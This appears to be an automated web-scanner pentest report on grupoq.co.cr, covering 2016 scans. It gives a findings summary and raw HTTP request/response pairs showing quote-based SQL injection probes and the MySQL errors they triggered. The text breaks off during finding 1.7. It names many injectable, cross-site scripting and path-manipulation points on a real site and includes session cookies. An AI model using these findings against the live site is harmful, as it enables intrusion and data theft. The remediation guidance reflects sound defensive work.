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Pentest Report

1 Summary
The table below shows the numbers of issues identified in different categories. Issues are classified according to severity as High, Medium, Low or Information. This reflects the likely impact of each issue for a typical organization. Issues are also classified according to confidence as Certain, Firm or Tentative. This reflects the inherent reliability of the technique that was used to identify the issue.
	 
	 
	Confidence

	 
	 
	Certain
	Firm
	Tentative
	Total

	Severity
	High
	24
	0
	0
	24

	
	Medium
	0
	0
	1
	1

	
	Low
	1
	3
	1
	5

	
	Information
	4
	6
	2
	12



Contents
1. SQL injection
1.1. http://www.grupoq.co.cr/livehelp/reportes/ [calendar parameter]
1.2. http://www.grupoq.co.cr/livehelp/reportes/ [calendar2 parameter]
1.3. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar parameter]
1.4. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar2 parameter]
1.5. http://www.grupoq.co.cr/livehelp/reportes/index.php [desde parameter]
1.6. http://www.grupoq.co.cr/livehelp/reportes/index.php [hasta parameter]
1.7. http://www.grupoq.co.cr/qrm/agenda.php [fecha_desd parameter]
1.8. http://www.grupoq.co.cr/qrm/agenda.php [id parameter]
1.9. http://www.grupoq.co.cr/qrm/index.php [c_alistamiento parameter]
1.10. http://www.grupoq.co.cr/qrm/index.php [id parameter]
1.11. http://www.grupoq.co.cr/qrm/index.php [id parameter]
2. Cross-site scripting (reflected)
2.1. http://www.grupoq.co.cr/livehelp/offline.php [COOKIE parameter]
2.2. http://www.grupoq.co.cr/livehelp/reportes/ [calendar parameter]
2.3. http://www.grupoq.co.cr/livehelp/reportes/ [calendar parameter]
2.4. http://www.grupoq.co.cr/livehelp/reportes/ [calendar2 parameter]
2.5. http://www.grupoq.co.cr/livehelp/reportes/ [calendar2 parameter]
2.6. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar parameter]
2.7. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar parameter]
2.8. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar2 parameter]
2.9. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar2 parameter]
2.10. http://www.grupoq.co.cr/qrm/agenda.php [id parameter]
2.11. http://www.grupoq.co.cr/qrm/index.php [inventario parameter]
2.12. http://www.grupoq.co.cr/qrm/pos.php [name of an arbitrarily supplied body parameter]
2.13. http://www.grupoq.co.cr/qrm/pos.php [numero_tarjeta parameter]
3. SQL statement in request parameter
4. Open redirection (reflected DOM-based)
5. Cookie without HttpOnly flag set
6. Source code disclosure
7. Content type incorrectly stated
8. Unencrypted communications
9. File path manipulation
9.1. http://www.grupoq.co.cr/livehelp/reportes/ [action parameter]
9.2. http://www.grupoq.co.cr/livehelp/reportes/index.php [action parameter]
9.3. http://www.grupoq.co.cr/mi_cotizacion_honduras/ver_cotizacion.php [arch parameter]
9.4. http://www.grupoq.co.cr/qrm/index.php [action parameter]
10. Path-relative style sheet import
11. Cross-site request forgery
12. Frameable response (potential Clickjacking)
12.1. http://www.grupoq.co.cr/livehelp/reportes/
12.2. http://www.grupoq.co.cr/qrm/agenda.php
13. Robots.txt file
14. HTML does not specify charset
14.1. http://www.grupoq.co.cr/mi_cotizacion/sala_de_ventas.php
14.2. http://www.grupoq.co.cr/qrm/clean.php
14.3. http://www.grupoq.co.cr/qrm/index.php
1. SQL injection 
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There are 11 instances of this issue: 
· /livehelp/reportes/ [calendar parameter]
· /livehelp/reportes/ [calendar2 parameter]
· /livehelp/reportes/index.php [calendar parameter]
· /livehelp/reportes/index.php [calendar2 parameter]
· /livehelp/reportes/index.php [desde parameter]
· /livehelp/reportes/index.php [hasta parameter]
· /qrm/agenda.php [fecha_desd parameter]
· /qrm/agenda.php [id parameter]
· /qrm/index.php [c_alistamiento parameter]
· /qrm/index.php [id parameter]
· /qrm/index.php [id parameter]
1.1 Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
A wide range of damaging attacks can often be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and taking control of the database server. 

1.2 Remediation background
The most effective way to prevent SQL injection attacks is to use parameterized queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already been defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterized queries. It is strongly recommended that you parameterize every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective: 

· One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string into which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.

· Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.3 References
· Using Burp to Test for Injection Flaws
· SQL Injection Cheat Sheet
· SQL Injection Prevention Cheat Sheet
1.1. http://www.grupoq.co.cr/livehelp/reportes/ [calendar parameter] 
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1.4 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/


1.5 Issue detail
The calendar parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the calendar parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.6 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.7 Request 1
POST /livehelp/reportes/?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04'&calendar2=2016-12-11

1.8 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:58 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 216
Connection: close
Content-Type: text/html; charset=iso-8859-1

Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2016-12-11' AND tiempo_respuesta = 'excelente'' at line 1

1.9 Request 2
POST /livehelp/reportes/?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04''&calendar2=2016-12-11

1.10 Response 2
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:59 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5889
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
1.2. http://www.grupoq.co.cr/livehelp/reportes/ [calendar2 parameter] 
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1.11 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/


1.12 Issue detail
The calendar2 parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the calendar2 parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.13 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.14 Request 1
POST /livehelp/reportes/?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=2016-12-11'
1.15 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:43 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 180
Connection: close
Content-Type: text/html; charset=iso-8859-1

Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'excelente'' at line 1

1.16 Request 2
POST /livehelp/reportes/?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=2016-12-11''
1.17 Response 2
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:44 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5889
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
1.3. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar parameter] 
Previous  Next 
1.18 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/index.php


1.19 Issue detail
The calendar parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the calendar parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.20 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.21 Request 1
POST /livehelp/reportes/index.php?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/index.php?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04'&calendar2=2016-12-11

1.22 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:00 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 216
Connection: close
Content-Type: text/html; charset=iso-8859-1

Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2016-12-11' AND tiempo_respuesta = 'excelente'' at line 1

1.23 Request 2
POST /livehelp/reportes/index.php?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/index.php?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04''&calendar2=2016-12-11

1.24 Response 2
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:01 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5889
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
1.4. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar2 parameter] 
Previous  Next 
1.25 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/index.php


1.26 Issue detail
The calendar2 parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the calendar2 parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.27 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.28 Request 1
POST /livehelp/reportes/index.php?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/index.php?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=2016-12-11'
1.29 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:43 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 180
Connection: close
Content-Type: text/html; charset=iso-8859-1

Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'excelente'' at line 1

1.30 Request 2
POST /livehelp/reportes/index.php?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/index.php?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=2016-12-11''
1.31 Response 2
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:44 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5889
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
1.5. http://www.grupoq.co.cr/livehelp/reportes/index.php [desde parameter] 
Previous  Next 
1.32 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/index.php


1.33 Issue detail
The desde parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the desde parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.34 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.35 Request 1
GET /livehelp/reportes/index.php?action=excel_encuestas_realizadas&desde=2016-12-04'&hasta=2016-12-11 HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=encuestas_realizadas
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

1.36 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 228
Connection: close
Content-Type: text/html; charset=iso-8859-1

Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2016-12-11'
GROUP BY DATE_FORMAT(`datetime`, '%Y-%m-%d')' at line 1

1.37 Request 2
GET /livehelp/reportes/index.php?action=excel_encuestas_realizadas&desde=2016-12-04''&hasta=2016-12-11 HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=encuestas_realizadas
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

1.38 Response 2
HTTP/1.0 500 Internal Server Error
Date: Sun, 11 Dec 2016 10:06:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 0
Connection: close
Content-Type: text/html; charset=iso-8859-1

1.6. http://www.grupoq.co.cr/livehelp/reportes/index.php [hasta parameter] 
Previous  Next 
1.39 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/index.php


1.40 Issue detail
The hasta parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the hasta parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.41 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.42 Request 1
GET /livehelp/reportes/index.php?action=excel_encuestas_realizadas&desde=2016-12-04&hasta=2016-12-11' HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=encuestas_realizadas
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

1.43 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:26 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 177
Connection: close
Content-Type: text/html; charset=iso-8859-1

Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%m-%d')' at line 1

1.44 Request 2
GET /livehelp/reportes/index.php?action=excel_encuestas_realizadas&desde=2016-12-04&hasta=2016-12-11'' HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=encuestas_realizadas
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

1.45 Response 2
HTTP/1.0 500 Internal Server Error
Date: Sun, 11 Dec 2016 10:07:27 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 0
Connection: close
Content-Type: text/html; charset=iso-8859-1

1.7. http://www.grupoq.co.cr/qrm/agenda.php [fecha_desd parameter] 
Previous  Next 
1.46 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/agenda.php


1.47 Issue detail
The fecha_desd parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the fecha_desd parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.48 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.49 Request 1
GET /qrm/agenda.php?flw=y&fecha_desd=12%2f01%2f2016'&fecha_hast=12/16/2016 HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.50 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:55:56 GMT
Server: Apache
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment; filename=reportes_Agendas.xls
X-Powered-By: PleskLin
Content-Length: 783
Connection: close
Content-Type: application/vnd.ms-excel

<table width="100%" border="1" cellspacing="0" cellpadding="3">
<tr>
<th>Fecha de entrega</th> 
<th>Hora</th> 
<th>Sala de Entrega</th>
<th>Vendedor</th>
<th>Numero del inventari
...[SNIP]...
</tr>
Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' and '2016-12-16' and 
(preorden_auto.estado <>
...[SNIP]...
1.51 Request 2
GET /qrm/agenda.php?flw=y&fecha_desd=12%2f01%2f2016''&fecha_hast=12/16/2016 HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.52 Response 2
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:55:57 GMT
Server: Apache
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment; filename=reportes_Agendas.xls
X-Powered-By: PleskLin
Connection: close
Content-Type: application/vnd.ms-excel
Content-Length: 271334

<table width="100%" border="1" cellspacing="0" cellpadding="3">
